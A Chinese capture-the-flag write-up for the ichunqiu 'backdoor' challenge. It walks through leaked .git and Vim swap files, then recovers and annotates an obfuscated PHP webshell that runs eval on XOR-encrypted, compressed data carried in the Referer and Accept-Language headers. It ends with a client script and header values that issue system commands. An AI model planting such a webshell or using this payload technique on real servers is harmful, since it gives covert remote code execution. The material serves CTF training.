writeUp-ichunqiu-百度杯十月backdoor

  1
  2 题目提示是文件泄露
  3 
  4 先打开网站,看看源码看看目录
  5 
  6 扫目录,扫出
  7 flag.php
  8 index.php
  9 robots.txt
 10 
 11 ---尝试各种文件泄露---
 12 VIM文件泄露
 13 .bak(备份)
 14 还有各种版本控制系统的文件泄露
 15 
 16 尝试后发现是.git泄露
 17 ---              ---
 18 
 19 开工具(这里用的是dvcs-ripper)
 20 #不知道工具怎么办?
 21 #网上全是资源
 22 #有 Githack , SourceleakageHAcker , dvcs-ripper , dirseach 等......
 23 
 24 扫出来发现flag.php被编辑过(用GitBash diff命令 查看文件日志的不同(没错就是那些很长文件名的文件))
 25 看到之前有
 26 "flag{the_true_flag_is_in_the_b4ckdo0r.php}"
 27 
 28 于是访问b4ckdo0r.php
 29 ---看到---
 30 can you find the source code of me?
 31 ---    ---
 32 尝试各种方法
 33 
 34 发现有VIM文件泄露(  .[文件名(包括后缀名)].swx  )
 35 #                                注意:  x ^(这个)   取决于VIM自动备份的次数 第一次是p 第二次是o ......
 36 
 37 发现是(.b4ckdo0r.php.swo)
 38 用VIM(或VI)恢复文件 看到源码
 39 
 40 ---code---
 41  <?php
 42 echo "can you find the source code of me?";
 43 
 44 /* Signature For Report
 45 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($_SESSION[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 46 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 47 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 48 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 49 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 50 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$_SESSION)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($_SESSION[$i],$f);)mif(';/*
 51 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$_SESSION)m';/*
 52 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=strtolower()msubstr(m)md5($)mi.$kh)m),0,)m3));$f=$_SESSION)ml(substr()m)mmd5($i.$kf),0,3';/*
 53 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 54 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";strtolower="s)m';/*
 55 */$y=str_replace('b','','crbebbabte_funcbbtion'); /$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 56 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 57 */$v=$y('',$L);/*
 58 */ $v();/*
 59 */
 60 ?>
 61 
 62 ---    ---
 63 
 64 
 65 实际上就是create了一个function,然后执行它
 66 
 67 
 68 整理之后看到代码(代码注释里有解析,一定要看)
 69 
 70 
 71 ++++code++++
 72 
 73  <?php
 74 echo "can you find the source code of me?";
 75 #没啥用的一句
 76 
 77 $kh="4f7f";
 78 $kf="28d7";
 79 function x($t,$k)
 80 {
 81     $c=strlen($k);
 82     $l=strlen($t);
 83     $o="";
 84     for($i=0;$i<$l;)
 85     {
 86         for($j=0;($j<$c&&$i<$l);$j++,$i++)
 87             {
 88                 $o.=$t{$i}^$k{$j};
 89                 #按位异或
 90             }
 91     }
 92     return $o;
 93 }
 94 #函数功能:两个字符串按位异或一直到$t被异或完为止
 95 /*
 96 按位异或函数的特性
 97 若C==A^B
 98 则B^C==A,A^C==B
 99 所以若已知$o,$k
100 则可写个函数求出$t
101 而且这个函数就是  x
102 只不过输入($t)的位置换成了$o
103 输出就是我们想要的结果($t)
104 */
105 $r=$_SERVER;
106 $rr=@$r["HTTP_REFERER"];
107 #HTTP_REFERER : 用户前一个浏览的网站的URL,容易在抓包工具(bp,wireshark等......)中伪造(改referer)
108 #找到一个可控变量★
109 
110 $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
111 #HTTP_ACCEPT_LANGUAGE :
112 /* 
113     Accept-Language: zh-cn,zh;q=0.5
114   意思:浏览器支持的语言分别是简体中文和中文,优先支持简体中文。
115   详解:
116   Accept-Language表示浏览器所支持的语言类型;
117   zh-cn表示简体中文;zh 表示中文;
118    q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。 
119 */
120 #想了解更多关于$_SERVER的可以去找
121 #又一个可控变量★
122 
123 if($rr&&$ra)
124 #     ^  都不为空  (详情可以看php的bool类型)
125     {
126     $u=parse_url($rr);
127     /*
128     本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
129 
130     例子:
131     --code--
132     <?php
133         $url = 'http://username:password@hostname/path?arg=value#anchor';    
134 
135         print_r(parse_url($url));    
136 
137         echo parse_url($url, PHP_URL_PATH);
138     ?>
139     --    --
140 
141     --result--
142 
143     Array
144     (
145         [scheme] => http
146         [host] => hostname
147         [user] => username
148         [pass] => password
149         [path] => /path
150         [query] => arg=value
151         [fragment] => anchor
152     )
153     /path
154     --      --
155 
156      */
157     
158 
159     parse_str($u["query"],$q);
160 
161 
162     /*
163     parse_str(string,array) 函数把查询字符串解析到变量中。
164     string     必需。规定要解析的字符串。
165     array     可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
166     例子:
167     --code--
168     <?php
169     parse_str("name=Bill&age=60",$myArray);
170     print_r($myArray);
171     ?>
172     --    --
173     --result--
174     Array ( [name] => Bill [age] => 60 ) 
175     --      --
176      */
177     
178     $q=array_values($q);
179     #array_values() 函数返回一个包含给定数组中所有键值的数组,但不保留键名。(返回值是数组)被返回的数组将使用数值键,从 0 开始并以 1 递增。
180     preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
181     /*
182     preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )
183     搜索 subject 中所有匹配 pattern 给定正则表达式的匹配结果并且将它们以 flag 指定顺序输出到 matches 中。
184     在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索。    
185     参数说明:(参数前面标注了参数的类型)
186         $pattern: 要搜索的模式,字符串形式。    
187         $subject: 输入字符串。    
188         $matches: 多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。    
189         $flags:可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):    
190             PREG_PATTERN_ORDER: 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。    
191             PREG_SET_ORDER: 结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组), $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组,以此类推。
192             PREG_OFFSET_CAPTURE: 如果这个标记被传递,每个发现的匹配返回时会增加它相对目标字符串的偏移量。    
193         offset: 通常, 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。
194     正则表达式(php):
195         /  / : 这是PHP表示正则表达式时用的(表示里面的东西是正则表达式)
196         (  ) : 表示匹配子表达式
197         [  ] : 包含(默认为一个字符长度)
198         [^ ] : 不包含(默认是一个字符长度)
199         ? : 匹配前面的子表达式零次或一次。
200         ? : 当该字符紧跟在任何一个其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式是非贪婪的。
201             非贪婪模式尽可能少地匹配所搜索的字符串,而默认的贪婪模式则尽可能多地匹配所搜索的字符串。
202         * : 匹配前面的子表达式任意次。
203         + : 匹配前面的子表达式一次或多次(大于等于1次)。
204         \ : 将下一个字符标记符、或一个向后引用、或一个八进制转义符。
205             例如,“\\n”匹配\n。“\n”匹配换行符。序列“\\”匹配“\”而“\(”则匹配“(”。即相当于多种编程语言中都有的“转义字符”的概念。
206         ^ : 匹配输入字行首。
207         $ : 匹配输入行尾。
208         (?:pattern) : 非获取匹配,匹配pattern但不获取匹配结果,不进行存储供以后使用。
209         \w : 等价于[A-Za-z_0-9] 26个大写字母、26个小写字母和0至9数字
210 
211 
212     不要以为 [\w-] 是什么别的东西 它就只匹配[A-Za-z_0-9]或"-" 罢了 (等效于[\w | -])
213     ";"还有","也是如此只是普通的字符而已
214 
215 
216      */
217 
218     if($q&&$m)
219     #    ^  与上面的一样
220         {
221             @session_start();
222             #开始一个会话
223             $i=$m[1][0].$m[1][1];
224 
225             $h=strtolower(substr(md5($i.$kh),0,3));
226             # strtolower : 输出转化为小写
227             # substr($s ,$n ,$m ) : 从$n开始截取字符串,截取长度为$m($m可选,若不输入$m则截取至最后一位)
228             $f=strtolower(substr(md5($i.$kf),0,3));
229             $p="";
230             for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
231             if(strpos($p,$h)===0)
232             # strpos($p,$h) : 返回在字符串$p中字符串$h出现的位置
233             {
234                 $_SESSION[$i]="";
235                 $p=substr($p,3);
236             }
237             #
238             if(array_key_exists($i,$_SESSION))
239             #array_key_exists($key,$array) : 检查在数组$array中是否存在名为字符串$key的键,返回值为True或False
240             {
241                 $_SESSION[$i].=$p;
242                 $e=strpos($_SESSION[$i],$f);
243                 if($e)
244                 {
245                     $k=$kh.$kf;
246                     ob_start();
247                     /*
248                     ob_start([string output_callback])
249                     打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。
250                     ob_end_flush
251                     结束(发送)输出缓冲区的内容,关闭输出缓冲区。
252                     php 输出东西,会保存在一个 php 维护的内存里,称为 buffer 也行,缓存也行,都是一个意思。
253                     然后当这个 buffer 满了,php 会自动往 web server 发送这些数据。
254                     也就是说每次 echo,并不一定会输出东西,而是保存在 buffer 里。
255                     ob_start() 的意思,可以理解为(但是实际上和我下面的说法有区别)。
256                     这个 buffer 由 ob_ 系列函数来来控制,也就是,PHP 不会维护自己的 buffer,不会自动把buffer 的内容自动发送到 web server。
257                     直到你 ob_end() 或者类似的 ob 操作。
258                     ob_函数一般用来捕获当前的输出,跟效率是没什么关系的。至于为什么捕获输出,原因很多。
259                     例如我捕捉输出,缓存到一个文件里,下次请求就可以直接读这个  cache 文件的内容作为输出了。
260 
261 
262                     ob_get_contents() - 返回输出缓冲区的内容
263                     ob_end_clean() - 清空(擦除)缓冲区并关闭输出缓冲
264 
265                      */
266                     @eval(
267                         @gzuncompress(
268                             @x(  @base64_decode(
269                                 preg_replace(   array("/_/","/-/") , array("/","+") ,  substr($_SESSION[$i],0,$e)   ) 
270                             )
271                             ,  $k )
272                         )
273                     );
274                     /*
275                     
276                     gzcompress() : 压缩函数  
277                     gzuncompress() : 解压缩函数  
278                     eval() : 执行括号里的语句
279                     x() : 前面已定义
280                     preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
281                     搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。                    
282                     参数说明:                    
283                         $pattern: 要搜索的模式,可以是字符串或一个字符串数组。                    
284                         $replacement: 用于替换的字符串或字符串数组。                    
285                         $subject: 要搜索替换的目标字符串或字符串数组。                    
286                         $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。                    
287                         $count: 可选,为替换执行的次数。
288 
289                      */
290                     $o=ob_get_contents();
291                     ob_end_clean();
292                     $d=base64_encode( x(gzcompress($o),$k));
293                     print("<$k>$d</$k>");
294                     @session_destroy();
295                 }
296             }
297         }
298     }
299 ?>
300 
301 ++++    ++++
302 
303 
304 解密思路:
305 
306 先分析这个代码中我们可直接控制的变量有哪些
307 $rr
308 $ra
309 (代码中两个标★的地方)
310 
311 然后分析:
312     通过控制$rr可以控制$q,通过$ra可以部分控制$m
313     我们实践操作一下控制$m
314 
315     在本地写个测试代码:
316         <?php
317         $ra=$_GET["ra"];
318         preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
319         print_r($m);
320         ?>
321     
322     知道$m就可以知道$i
323     便可以得知$h,$f
324     因为可以控制$q,$m
325     所以可以一路干到eval这里
326     现在只要让服务器执行我的代码就行了
327 
328     <?php
329     $kh="4f7f";
330     $kf="28d7";
331     function x($t,$k)
332     {
333         $c=strlen($k);
334         $l=strlen($t);
335         $o="";
336         for($i=0;$i<$l;)
337         {
338             for($j=0;($j<$c&&$i<$l);$j++,$i++)
339                 {
340                     $o.=$t{$i}^$k{$j};
341                 }
342         }
343         return $o;
344     }
345     //////////////////////////////////////////////////////////////////////
346     $k="4f7f28d7";
347     $pay=' system("ls"); ';
348     //$pay=' system("dir"); ';
349     $o=@x(@gzcompress($pay),$k);
350     $b=base64_encode($o);
351     $p=preg_replace(   array("/\//","/\+/") , array("_","-"),$b );
352     print_r($p);
353     echo "<br>";
354     $response="这里输入浏览器的返回值";
355     /////////////////////////////////////////////////////////////////////
356     echo "<br>";
357     echo @gzuncompress(@x(  @base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$respo   ) ),  $k ));    
358     ?>
359 
36361 
362     至于payload:
363     HTTP-Accept-language"EN-US;q=0.3,KN-H;q=0.0,KL-FG;q=0.0"
364     referer: localhost/phpProjects/b4ckdo0rScript.php?id=df3{TPpkLn_2rGBkUZ9WmghSBQXgdRNZODUAMYg=}6bb
365     #                                                            ^ 花括号里是脚本的输出,实际花括号不用打
366     
367     执行命令扫出flag
368     游戏结束

 

posted @ 2019-09-22 11:05  树行云  阅读(288)  评论(0编辑  收藏  举报